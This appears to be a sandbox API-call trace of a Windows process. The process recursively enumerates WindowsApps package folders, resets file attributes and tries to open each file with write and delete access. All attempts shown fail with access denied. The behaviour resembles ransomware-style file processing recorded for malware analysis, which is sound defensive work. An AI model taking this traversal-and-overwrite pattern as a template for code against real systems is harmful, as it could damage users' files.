	[0082.073] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84322329, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8c7dd6a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8c7dd6a, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7410
	[0082.075] wcscmp (_String1=".", _String2=".") returned 0
	[0082.075] FindNextFileW (in: hFindFile=0x46a7410, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84322329, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8c7dd6a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8c7dd6a, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.075] wcscmp (_String1="..", _String2=".") returned 1
	[0082.075] wcscmp (_String1="..", _String2="..") returned 0
	[0082.075] FindNextFileW (in: hFindFile=0x46a7410, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8449fab4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x844c5d12, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x844c5d12, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.075] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.075] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.075] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e325f8
	[0082.075] wcscpy (in: _Dest=0x4e325f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe"
	[0082.075] wcscat (in: _Dest=0x4e325f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.075] wcscat (in: _Dest=0x4e325f8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.964] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.965] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.965] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.965] GetLastError () returned 0x5
	[0090.965] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.965] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e325f8) returned 1
	[0090.965] FindNextFileW (in: hFindFile=0x46a7410, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84322329, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb13da82d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x84322329, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.965] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.965] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477df50
	[0090.965] wcscpy (in: _Dest=0x477df50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe"
	[0090.965] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.965] wcscat (in: _Dest=0x477df50, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e33900
	[0090.966] wcscpy (in: _Dest=0x4e33900, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.966] wcscat (in: _Dest=0x4e33900, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.966] wcscat (in: _Dest=0x4e33900, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0090.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84322329, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb13da82d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x84322329, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b428
	[0090.966] wcscmp (_String1=".", _String2=".") returned 0
	[0090.966] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84322329, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb13da82d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x84322329, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.966] wcscmp (_String1="..", _String2=".") returned 1
	[0090.966] wcscmp (_String1="..", _String2="..") returned 0
	[0090.966] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84322329, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84348582, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84348582, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x43fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0090.966] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0090.966] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0090.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x47175d0
	[0090.966] wcscpy (in: _Dest=0x47175d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.966] wcscat (in: _Dest=0x47175d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.966] wcscat (in: _Dest=0x47175d0, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.966] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.967] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.967] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.967] GetLastError () returned 0x5
	[0090.967] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.967] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47175d0) returned 1
	[0090.968] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84322329, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x84348582, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x84348582, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x43fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.968] FindClose (in: hFindFile=0x477b428 | out: hFindFile=0x477b428) returned 1
	[0090.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33900) returned 1
	[0090.968] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.968] FindNextFileW (in: hFindFile=0x46a7410, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x844c5d12, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x844c5d12, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x844c5d12, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2965, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.968] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.968] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e325f8
	[0090.968] wcscpy (in: _Dest=0x4e325f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe"
	[0090.968] wcscat (in: _Dest=0x4e325f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.968] wcscat (in: _Dest=0x4e325f8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.968] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.975] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.975] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.975] GetLastError () returned 0x5
	[0090.975] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.975] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e325f8) returned 1
	[0090.975] FindNextFileW (in: hFindFile=0x46a7410, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe8c7dd6a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xe8c7dd6a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8c7dd6a, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.975] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.975] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.975] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5028638
	[0090.975] wcscpy (in: _Dest=0x5028638, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe"
	[0090.975] wcscat (in: _Dest=0x5028638, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.975] wcscat (in: _Dest=0x5028638, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x47174b8
	[0090.976] wcscpy (in: _Dest=0x47174b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.976] wcscat (in: _Dest=0x47174b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.976] wcscat (in: _Dest=0x47174b8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0090.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_2016.511.9510.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe8c7dd6a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xe8c7dd6a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8c7dd6a, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b668
	[0090.976] wcscmp (_String1=".", _String2=".") returned 0
	[0090.976] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe8c7dd6a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xe8c7dd6a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8c7dd6a, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.976] wcscmp (_String1="..", _String2=".") returned 1
	[0090.976] wcscmp (_String1="..", _String2="..") returned 0
	[0090.976] FindNextFileW (in: hFindFile=0x477b668, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe8c7dd6a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xe8c7dd6a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8c7dd6a, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.976] FindClose (in: hFindFile=0x477b668 | out: hFindFile=0x477b668) returned 1
	[0090.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47174b8) returned 1
	[0090.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028638) returned 1
	[0090.976] FindNextFileW (in: hFindFile=0x46a7410, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xe8c7dd6a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xe8c7dd6a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8c7dd6a, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0090.976] FindClose (in: hFindFile=0x46a7410 | out: hFindFile=0x46a7410) returned 1
	[0090.977] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710328) returned 1
	[0090.977] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cbbe8) returned 1
	[0090.977] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb418) returned 1

Thread:
	id = 865
	os_tid = 0xd90

	[0082.075] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x4773c50
	[0082.076] wcscpy (in: _Dest=0x4773c50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.076] wcscat (in: _Dest=0x4773c50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.076] wcscat (in: _Dest=0x4773c50, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0082.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710590
	[0082.076] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x4710590 | out: lpFindFileData=0x4710590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x485b9d47, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7450
	[0082.076] wcscmp (_String1=".", _String2=".") returned 0
	[0082.077] FindNextFileW (in: hFindFile=0x46a7450, lpFindFileData=0x4710590 | out: lpFindFileData=0x4710590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x485b9d47, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.077] wcscmp (_String1="..", _String2=".") returned 1
	[0082.077] wcscmp (_String1="..", _String2="..") returned 0
	[0082.077] FindNextFileW (in: hFindFile=0x46a7450, lpFindFileData=0x4710590 | out: lpFindFileData=0x4710590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485b9d47, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x485b9d47, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x485b9d47, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2551, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.077] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.077] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
